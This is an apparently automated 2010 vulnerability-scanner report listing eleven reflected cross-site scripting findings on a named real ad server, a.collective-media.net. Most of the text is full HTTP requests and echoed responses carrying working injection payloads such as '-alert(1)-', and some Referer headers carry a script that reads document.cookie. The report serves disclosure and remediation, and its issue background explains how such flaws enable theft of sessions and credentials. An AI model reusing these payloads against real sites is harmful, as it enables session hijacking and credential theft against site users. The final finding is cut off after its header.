Report generated by XSS.CX at Thu Dec 02 12:53:02 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [REST URL parameter 2]

1.2. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [REST URL parameter 3]

1.3. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [k parameter]

1.4. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [name of an arbitrarily supplied request parameter]

1.5. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [pos parameter]

1.6. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [REST URL parameter 1]

1.7. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [REST URL parameter 2]

1.8. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [REST URL parameter 3]

1.9. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [k parameter]

1.10. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [name of an arbitrarily supplied request parameter]

1.11. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [pos parameter]



1. Cross-site scripting (reflected)
There are 11 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/passenger_car_leasing

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e716'-alert(1)-'4e07c65eb21 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp3e716'-alert(1)-'4e07c65eb21/passenger_car_leasing;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;ord=7863788125105202? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 639
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:04:56 GMT
Connection: close
Set-Cookie: dc=dal; domain=collective-media.net; path=/; expires=Fri, 31-Dec-2010 18:04:56 GMT
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/manta.comp3e716'-alert(1)-'4e07c65eb21/passenger_car_leasing;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;t
...[SNIP]...

1.2. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/passenger_car_leasing

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9a5b'-alert(1)-'1f7a23fb534 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/passenger_car_leasinga9a5b'-alert(1)-'1f7a23fb534;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;ord=7863788125105202? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 639
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:04:57 GMT
Connection: close
Set-Cookie: dc=dal; domain=collective-media.net; path=/; expires=Fri, 31-Dec-2010 18:04:57 GMT
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasinga9a5b'-alert(1)-'1f7a23fb534;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;net=mt;ord=78637
...[SNIP]...

1.3. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [k parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/passenger_car_leasing

Issue detail

The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2fda5'-alert(1)-'68e3ca74b3 was submitted in the k parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/passenger_car_leasing;k=Parcel+delivery+private+air;pos=top;sz=300x250;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;dcopt=ist;tile=2;ord=7863788125105202?2fda5'-alert(1)-'68e3ca74b3 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/manta/mads/generic.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 676
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:04:55 GMT
Connection: close
Set-Cookie: dc=dal; domain=collective-media.net; path=/; expires=Fri, 31-Dec-2010 18:04:55 GMT
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;dcopt=ist;tile=2;net=mt;ord=7863788125105202?2fda5'-alert(1)-'68e3ca74b3;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

1.4. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/passenger_car_leasing

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c9d2e'-alert(1)-'bda6b1925a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/passenger_car_leasing;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;ord=7863788125105202?&c9d2e'-alert(1)-'bda6b1925a7=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 643
Date: Wed, 01 Dec 2010 18:04:53 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dal; domain=collective-media.net; path=/; expires=Fri, 31-Dec-2010 18:04:53 GMT
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;net=mt;ord=7863788125105202?&c9d2e'-alert(1)-'bda6b1925a7=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

1.5. http://a.collective-media.net/adj/manta.comp/passenger_car_leasing [pos parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/passenger_car_leasing

Issue detail

The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e5de1'-alert(1)-'c4dfe39a19e was submitted in the pos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/passenger_car_leasing;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;ord=7863788125105202?e5de1'-alert(1)-'c4dfe39a19e HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 640
Date: Wed, 01 Dec 2010 18:04:50 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dal; domain=collective-media.net; path=/; expires=Fri, 31-Dec-2010 18:04:50 GMT
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;net=mt;ord=7863788125105202?e5de1'-alert(1)-'c4dfe39a19e;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

1.6. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/passenger_car_leasing

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bded2'-alert(1)-'509f63c9c5e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadjbded2'-alert(1)-'509f63c9c5e/manta.comp/passenger_car_leasing;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;net=mt;ord=7863788125105202;ord1=959318;cmpgurl=http%253A//www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22%253F5886d%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253Ed12a7e1ba98%253D1? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:05:04 GMT
Connection: close
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
Content-Length: 7332

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-24214977_1291226704","http://ad.doubleclick.net/adjbded2'-alert(1)-'509f63c9c5e/manta.comp/passenger_car_leasing;net=mt;u=,mt-24214977_1291226704,,Miscellaneous,;;pos=top;cmw=owl;sz=1x1,728x90;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=pa
...[SNIP]...

1.7. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/passenger_car_leasing

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 21da3'-alert(1)-'5051e0f578b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp21da3'-alert(1)-'5051e0f578b/passenger_car_leasing;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;net=mt;ord=7863788125105202;ord1=959318;cmpgurl=http%253A//www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22%253F5886d%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253Ed12a7e1ba98%253D1? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:05:06 GMT
Connection: close
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
Content-Length: 7324

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-74380129_1291226706","http://ad.doubleclick.net/adj/manta.comp21da3'-alert(1)-'5051e0f578b/passenger_car_leasing;net=mt;u=,mt-74380129_1291226706,,Miscellaneous,;;pos=top;sz=1x1,728x90;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=p
...[SNIP]...

1.8. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/passenger_car_leasing

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d1f74'-alert(1)-'ed03ca21588 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/passenger_car_leasingd1f74'-alert(1)-'ed03ca21588;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=service;t=oh;t=couriers;tile=1;net=mt;ord=7863788125105202;ord1=959318;cmpgurl=http%253A//www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22%253F5886d%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253Ed12a7e1ba98%253D1? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mmc8r0d/united-parcel-service-inc-oh/x22?5886d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed12a7e1ba98=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:05:07 GMT
Connection: close
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
Content-Length: 7324

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-55619411_1291226707","http://ad.doubleclick.net/adj/manta.comp/passenger_car_leasingd1f74'-alert(1)-'ed03ca21588;net=mt;u=,mt-55619411_1291226707,,Miscellaneous,;;pos=top;sz=1x1,728x90;pg=comp;sc=b520x;cs=e00;as=r00;co=805;st=il;ct=peru;s=n;t=air;t=courier;t=services;t=parcel;t=delivery;t=private;t=united;t=serv
...[SNIP]...

1.9. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [k parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/passenger_car_leasing

Issue detail

The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3ce3'-alert(1)-'df5e69cc040 was submitted in the k parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/passenger_car_leasing;k=b3ce3'-alert(1)-'df5e69cc040 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/manta/mads/generic.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optout=1; dc=dal

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Wed, 01 Dec 2010 18:05:00 GMT
Connection: close
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
Content-Length: 7097

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
ipt language="Javascript">CollectiveMedia.createAndAttachAd("manta-67953895_1291226700","http://ad.doubleclick.net/adj/manta.comp/passenger_car_leasing;net=manta;u=,manta-67953895_1291226700,,none,;;k=b3ce3'-alert(1)-'df5e69cc040;contx=none;dc=d;btg=?","0","0",false);</scr'+'ipt>
...[SNIP]...

1.10. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/passenger_car_leasing

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3f094'-alert(1)-'6e16716cb0a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/passenger_car_leasing?3f094'-alert(1)-'6e16716cb0a=1 HTTP/1.1
Host: a.collective-media.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dal; optout=1; JY57=opt_out;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Date: Wed, 01 Dec 2010 18:16:32 GMT
Content-Length: 7092
Connection: close
Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("manta-9699395_1291227392","http://ad.doubleclick.net//manta.comp/passenger_car_leasing?3f094'-alert(1)-'6e16716cb0a=1;net=manta;u=,manta-9699395_1291227392,,none,;;contx=none;dc=d;btg=?","0","0",false);</scr'+'ipt>
...[SNIP]...

1.11. http://a.collective-media.net/cmadj/manta.comp/passenger_car_leasing [pos parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/passenger_car_leasing

Issue detail

